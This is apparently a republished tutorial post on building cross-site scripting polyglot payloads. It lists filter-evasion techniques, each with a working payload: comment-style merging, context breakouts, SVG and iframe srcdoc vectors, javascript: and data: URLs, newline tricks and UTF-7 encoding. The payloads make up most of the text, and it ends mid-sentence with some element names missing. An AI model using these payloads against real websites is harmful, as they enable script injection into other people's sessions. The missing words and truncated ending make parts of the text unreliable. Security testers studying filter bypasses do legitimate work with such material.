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Creating Powerful XSS Polyglots

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2024-09-13 18:17:091152browse

Creating Powerful XSS Polyglots

Polyglot payloads leverage multiple encoding, injection, and obfuscation techniques to bypass filters, confuse parsers, and trigger execution across different contexts like HTML, JavaScript, CSS, JSON, etc.

-Merging Comment Styles
Polyglots often confuse parsers by merging different comment styles:

JavaScript: //, /* */
HTML: <!-- -->

<!--<script>/*--><svg onload=alert(1)/*</script>-->

-Using Encoded Entities
Bypassing filters using HTML or URL encoding:

HTML: &lt;, &gt;, &quot;
URL: %3C, %3E, %22

&lt;script&gt;alert(1)&lt;/script&gt;

-Multiple Language Contexts
Polyglot payloads work across multiple languages like HTML, JavaScript, CSS.

"><svg onload=alert(1) style="background:url(javascript:alert(1))"><!--

-Breaking Out of Contexts
Escape from current contexts like textarea, script, or style.

</textarea><svg onload=alert(1)>

-Abusing HTML5 Elements
Using modern elements like , , or .

<svg onload=alert(1)></svg>
<iframe srcdoc="<svg onload=alert(1)>"></iframe>
<math><mtext><script>alert(1)</script></mtext></math>

-Contextual Event Handlers
Inject event handlers into HTML tags like onload, onmouseover.

<div class="x" onmouseover="alert(1)">

-Combining HTML, JavaScript, and CSS
Mixing contexts of HTML, CSS, and JavaScript.

</style><script>alert(1)</script><style>

-Utilizing SVG and XML Features
SVG allows injection via JavaScript URIs and other XML-based features.

<svg><image href="javascript:alert(1)"></svg>
  1. Protocol Confusion (Data URLs, JavaScript URLs) Use javascript: or data: URLs for payload delivery. 
<a href="javascript:alert(1)">Click me</a>

<iframe src="data:text/html;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+"></iframe>
  1. Breaking with Newline Characters Using newlines \n or carriage returns \r to bypass filters. 
"onmouseover=\nalert(1)//"
  1. Polyglot Structures Payloads that work across multiple languages like CSS and JavaScript. 
*/ alert(1) /*
  1. UTF-7 Encoding Using less common encodings like UTF-7. 
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
  1. Using HTML5 Injection Vectors Use modern HTML5 vectors like srcdoc, formaction, or sandbox. 
<iframe srcdoc="<script>alert(1)</script>"></iframe>
  1. Multiple Closings & Layering Close different tags to break out of nested contexts. 
</textarea></script></iframe><svg onload=alert(1)>

Best Practices for Polyglot Payloads
Diversify Attack Vectors: Use multiple elements like , ,